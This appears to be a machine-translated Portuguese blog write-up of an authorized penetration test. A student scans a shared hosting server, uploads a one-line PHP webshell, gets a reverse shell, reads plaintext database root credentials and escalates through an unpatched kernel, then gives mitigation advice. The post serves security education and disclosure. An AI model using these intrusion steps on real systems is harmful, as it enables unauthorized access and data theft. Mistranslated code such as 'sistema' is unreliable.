Como hackeei 40 sites em 7 minutos by Konstantopoulos

Como hackeei 40 sites em 7 minutos

No verĂŁo passado, comecei a aprender sobre segurança da informação e hacking. Durante o Ăşltimo ano, joguei vĂĄrios jogos de guerra, capture a bandeira e simulaçþes de testes de penetração, melhorando continuamente minhas habilidades de hacker e aprendendo coisas novas sobre 'como fazer os computadores se desviarem de seu comportamento esperado'.

Resumindo, minha experiência sempre foi limitada a ambientes simulados e, como me considero um hacker de chapéu branco (também conhecido como um dos mocinhos), nunca meti o nariz nos negócios de outras pessoas — literalmente.

AtĂŠ agora. Esta serĂĄ uma histĂłria detalhada sobre como invadi um servidor que hospedava 40 (este ĂŠ um nĂşmero exato) sites e minhas descobertas.

Nota: Ă‰ necessĂĄrio algum conhecimento prĂŠvio de CS para acompanhar as partes tĂŠcnicas do artigo.

Um amigo me enviou uma mensagem informando que uma vulnerabilidade XSS foi encontrada em seu site e que ele quer que eu dĂŞ uma olhada mais detalhada. Esta ĂŠ uma etapa importante, pois estou inclinado a pedir que ele expresse formalmente que tenho sua permissĂŁo para realizar um teste completo em sua aplicação web e no servidor que a hospeda. A resposta foi positiva.

No restante da postagem, me referirei ao site do meu amigo como http://example.com

O primeiro passo é sempre enumerar e encontrar o máximo de informações possível sobre seu inimigo – enquanto tenta alarmá-lo o mínimo possível.

Nesta fase acionamos nosso cronômetro e iniciamos a digitalização.

$ nmap --top-ports 1000 -T4 -sC http://example.com
RelatĂłrio de varredura Nmap para example.com {redigido}
O host estĂĄ ativo (latĂŞncia de 0,077s).
Registro rDNS para {redigido}: {redigido}
NĂŁo mostrado: 972 portas filtradas
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
| chave de host ssh:
| {redigido}
80/tcp http aberto
| mĂŠtodos http:
|_ MĂŠtodos potencialmente arriscados: TRACE
|_http-title: Site da vĂ­tima
139/tcp open netbios-ssn
443/tcp open https
| mĂŠtodos http:
|_ MĂŠtodos potencialmente arriscados: TRACE
|_http-title: O site nĂŁo possui tĂ­tulo (text/html; charset=UTF-8).
|_{redigido}
445/tcp aberto microsoft-ds
5901/tcp aberto vnc-1
| informaçþes vnc:
| VersĂŁo do protocolo: 3.8
| Tipos de segurança:
|_ Autenticação VNC (2)
8080/tcp open http-proxy
|_http-title: 400 Bad Request
8081/tcp open blackice-icecap

A verificação foi concluída em cerca de 2 minutos.

SĂŁo muitas portas abertas! Observando que as portas FTP (porta 21) e SMB (portas 139/445) estĂŁo abertas podemos adivinhar que o servidor ĂŠ usado para hospedagem e compartilhamento de arquivos, alĂŠm de ser um servidor web (portas 80/443 e proxies em 8080/8081).

Da Arte da Guerra. Enumerar ĂŠ fundamental.

Fazer uma varredura de porta UDP e varrer mais do que as 1.000 portas principais seria considerado se as informaçþes da varredura acima nĂŁo fossem suficientes. A Ăşnica porta com a qual podemos interagir (sem credenciais) ĂŠ a porta 80/443.

Sem perder tempo, começo gobustera enumerar quaisquer arquivos interessantes no servidor web enquanto procuro informaçþes manualmente.

$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100/admin 
/login

Acontece que o caminho /admin era uma “ferramenta administrativa” que permitia que usuĂĄrios autenticados modificassem coisas no servidor web. Exigia credenciais e como nĂŁo temos nome de usuĂĄrio nem senha, seguimos em frente. (spoiler: gobuster nĂŁo encontrou nada de valor)

AtĂŠ agora estamos em cerca de 3 minutos. Nada Ăştil ainda.

Navegando atĂŠ o site, vemos que ele nos pede para fazer login. NĂŁo tem problema, criamos uma conta com um e-mail fictĂ­cio , clicamos no e-mail de confirmação e fazemos login apĂłs alguns segundos.

O site nos dĂĄ as boas-vindas e nos solicita que naveguemos atĂŠ nosso perfil e atualizemos nossa foto de perfil. Que gentil.

Vendo que o site parece personalizado, estou inclinado a testar uma vulnerabilidade de upload irrestrito de arquivos . No meu terminal eu executo:

echo "<?php sistema(\$_GET['cmd']); ?>" > exploit.php

Tento enviar a “imagem” e bingo! O uploader permite que o arquivo exploit.php seja carregado. Ă‰ claro que nĂŁo tem miniatura, mas isso significa que meu arquivo foi carregado em algum lugar.

Obtenha a localização da exploração

Aqui, esperamos que o uploader faça algum tipo de processamento no arquivo enviado, verifique sua extensão de arquivo e substitua pela extensão de arquivo aceita, como .jpeg, .jpg, a fim de evitar a execução remota de código por um invasor que envia código malicioso, como o seu verdadeiramente.

Afinal, as pessoas se preocupam com a segurança.

certo? Certo? â€ŚCERTO?

`Copiar endereço da imagem` resulta na cópia do seguinte URL para nossa årea de transferência: 
http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php

Parece que temos nosso webshell pronto e funcionando:

Vendo que o servidor web executa scripts perl (sĂŠrio, perl?), pegamos um shell reverso perl de nossa cheatsheet favorita , definimos o IP/Porta e somos recompensados ​​com um shell de baixo privilĂŠgio - desculpe, sem captura de tela.

Cerca de 5 minutos na avaliação e jå temos um shell de baixo privilÊgio.

Para minha grande surpresa, o servidor nĂŁo hospedava apenas 1 site, mas 40 sites diferentes . Infelizmente, nĂŁo guardei capturas de tela de todos os detalhes, mas o resultado foi mais ou menos assim:

$ ls /var/wwwaccess.log site1/ site2/ site3/ {... a lista continua}

VocĂŞ entendeu. Surpreendentemente, o acesso de leitura a TODOS os sites hospedados estava disponĂ­vel, o que significava que eu poderia ler o cĂłdigo de back-end de todos os sites. Limitei-me ao cĂłdigo de example.com.

Notavelmente, dentro do cgi-admin/pagesdiretĂłrio, todos os scripts perl estavam se conectando a um banco de dados mysql como root . As credenciais do banco de dados estavam em texto nĂŁo criptografado. Sejam estes root:pwned42

Com certeza, o servidor estava rodando MariaDB e tive que recorrer a esse problema antes de poder acessar o banco de dados. Depois executamos:

mysql -u root -p -h localhost nome do banco de dados da vĂ­tima 
Senha: pwned42

E estamos no banco de dados com privilĂŠgios de root.

“usar nome do banco de dados;” nos permite acessar qualquer um dos 35 bancos de dados e visualizar e modificar seu conteĂşdo

Após apenas 7 minutos, temos acesso total de leitura/gravação ao conteúdo do35 (!) bancos de dados

Aqui estou moralmente obrigado a parar e divulgar minhas descobertas atĂŠ agora. O dano potencial jĂĄ ĂŠ enorme.

O que um invasor poderia fazer:

  1. Despejar o conteĂşdo de todos os bancos de dados, conforme descrito aqui , resultando no vazamento dos dados de todas as 35 empresas para domĂ­nio pĂşblico.
  2. Elimine todos os bancos de dados, excluindo efetivamente os dados das 35 empresas
  3. Deixe um backdoor para acesso persistente como apache com um cronjob, conforme descrito aqui , caso queiram uma viagem de volta.

Devo observar aqui que o processo mysql estava sendo executado como root, entĂŁo decidi tentar executar \! whoamina esperança de obter root. Infelizmente eu ainda era apache.

É hora de fazer uma pausa. Pare o cronĂ´metro.

O que mais pode dar errado?

Depois de divulgar minhas descobertas, recebo mais permissĂŁo para me aprofundar.

Antes de procurar maneiras de aumentar meus privilĂŠgios de root e causar danos potenciais massivos, eu estava analisando quais outros arquivos interessantes eu poderia ler com meu usuĂĄrio limitado.

Nesse ponto, lembrei-me das portas SMB abertas. Isso significa que deveria haver alguma pasta em algum lugar que estivesse sendo compartilhada no sistema entre os usuĂĄrios. ApĂłs uma pequena enumeração, o seguinte aparece no diretĂłrio /home/samba/secured (desculpem-me pela censura em massa):

Dentro de todos esses diretĂłrios, estavam os arquivos de cada usuĂĄrio da empresa de hospedagem. Isso incluĂ­a todos os tipos de dados confidenciais, entre outros:

  • Arquivos .psd/.ai (os designers sabem o quanto ĂŠ importante mantĂŞ-los privados, afinal ĂŠ seu trabalho e suas tĂŠcnicas)
  • Arquivos sqlite de cookies
  • Faturas
  • E-books piratas (ri quando vi isso)
  • Credenciais para seus SSIDS WiFi

O que um invasor poderia fazer:

  1. Acampe fora dos escritórios da empresa, faça login na intranet e execute todos os tipos de ataques divertidos que você pode fazer em redes locais
  2. Despeje todos os dados confidenciais listados acima para o domĂ­nio pĂşblico

Demorou algum tempo para examinar as pastas e perceber a gravidade desse problema.
Mais uma pausa.

O golpe final

Depois de olhar um pouco mais como apache , decido que ĂŠ hora de procurar os peixes grandes, infelizmente, obter acesso root. Refiro-me a uma folha de dicas popular e começo a enumerar o sistema em busca de arquivos interessantes.

Devido à minha escavação atÊ agora, eu jå havia passado pela maioria dessas tÊcnicas e não parecia ser capaz de encontrar algo que aumentasse minha posição.

Foi quando me dei conta. Nos desafios Capture the Flag que estou acostumado a jogar, o sistema operacional geralmente ĂŠ corrigido e ĂŠ algum serviço intencionalmente mal configurado que eventualmente lhe dĂĄ o tĂŁo procurado privilĂŠgio de root. No mundo real, entretanto, as pessoas nĂŁo consertam.

Quer dizer, olhe para Equifax (nĂŁo resisti).

Que tipo de Linux o servidor estĂĄ executando?

$ cat /etc/issue 
CentOS Linux versĂŁo 7.2.1511 (nĂşcleo)

Qual versĂŁo ĂŠ o kernel?

Parece uma versĂŁo antiga do Kernel.

Isso te lembra alguma coisa? Se nĂŁo, leia aqui (dica: ĂŠ MUITO sĂŠrio)

Encontrei esta postagem do blog que me indicou para testar se o Kernel estava vulnerĂĄvel com o script encontrado aqui.

Carimbos de data e hora e sites restaurados do Firefox redigidos

Seguido pela:

Game Over.

Imediatamente escrevi um e-mail divulgando completamente os detalhes e o impacto potencial de cada etapa descrita acima e encerrei a noite. Ufa.

O que um invasor poderia fazer:

  1. Ler/modificar TODOS os arquivos no servidor
  2. Deixe um backdoor persistente (como feito com o Apache)
  3. Instalar e potencialmente espalhar malware na intranet do servidor
  4. Instalar ransomware (tomar os bancos de dados de 35 empresas e todos os dados da empresa de hospedagem como refĂŠns nĂŁo ĂŠ pouca coisa)
  5. Use o servidor como um minerador de criptomoedas
  6. Use o servidor como proxy
  7. Use o servidor como um servidor C2C
  8. Use o servidor como parte de uma botnet
  9. … (use sua imaginação)
  10. rm-rf/(nem estou brincando)

No dia seguinte, fui contatado por meu amigo (que entrou em contato com a empresa que opera o servidor) e fui informado que o bug no uploader de arquivos foi corrigido.

Dr.

Resumindo, encontramos:

  1. Um aplicativo da web com uma vulnerabilidade de upload irrestrito de arquivos, que levava a um shell com poucos privilĂŠgios.
  2. Credenciais para banco de dados mysql, o que levou ao acesso de leitura/gravação a 35 bancos de dados
  3. Muitos arquivos confidenciais legĂ­veis

Finalmente, abusamos de um kernel sem patch para obter acesso root.

Mitigações – Sugestões

Vamos começar pelo uploader que nos deu a nossa posição inicial. Como todo o back-end da aplicação web foi escrito em perl - e como eu nĂŁo falo perl - nĂŁo posso realmente sugerir soluçþes para isso.

Uma solução que eu sugeriria seria não usar perl em 2017, mas essa Ê apenas minha opinião, fique à vontade para provar que estou errado.

Em relação ao sistema de arquivos, recomendo tomar muito cuidado ao atribuir permissĂľes de arquivo adequadas aos usuĂĄrios, de acordo com o princĂ­pio do menor privilĂŠgio . Dessa forma, mesmo que um usuĂĄrio com poucos privilĂŠgios como o Apache obtenha acesso, ele nĂŁo serĂĄ capaz de ler nenhum arquivo confidencial.

Executar todos os sites no mesmo servidor ĂŠ uma mĂĄ ideia. NĂŁo tenho certeza se uma abordagem dockerizada resolveria o problema.

Ter as mesmas credenciais para todos os bancos de dados ĂŠ com certeza uma mĂĄ ideia.

Geralmente nĂŁo ĂŠ bom ter pontos Ăşnicos de falha.

Finalmente, PATCH TUDO . Ă‰ literalmente um comando: su -c 'yum update' (especĂ­fico do CentOS)

Obrigado por ler e por chegar atĂŠ aqui, desculpe pelo longo post. Queria ser minucioso, essa era uma situação sĂŠria 😄

Aperte aquele botĂŁo de palmas 50 vezes se vocĂŞ gostou!

Plugue sem vergonha

Sou um estudante do 5Âş ano de Engenharia ElĂŠtrica e de Computação da GrĂŠcia. Estou interessado em infosec, pesquisa e aplicaçþes de blockchain em empresas modernas e veĂ­culos autĂ´nomos. Saiba mais sobre o que faço em gakonst.com

Se vocĂŞ gostou do conteĂşdo deste post e quer ficar atualizado sobre meu trabalho, me siga no Medium e no Twitter


ComentĂĄrios

Ebook

Postagens mais visitadas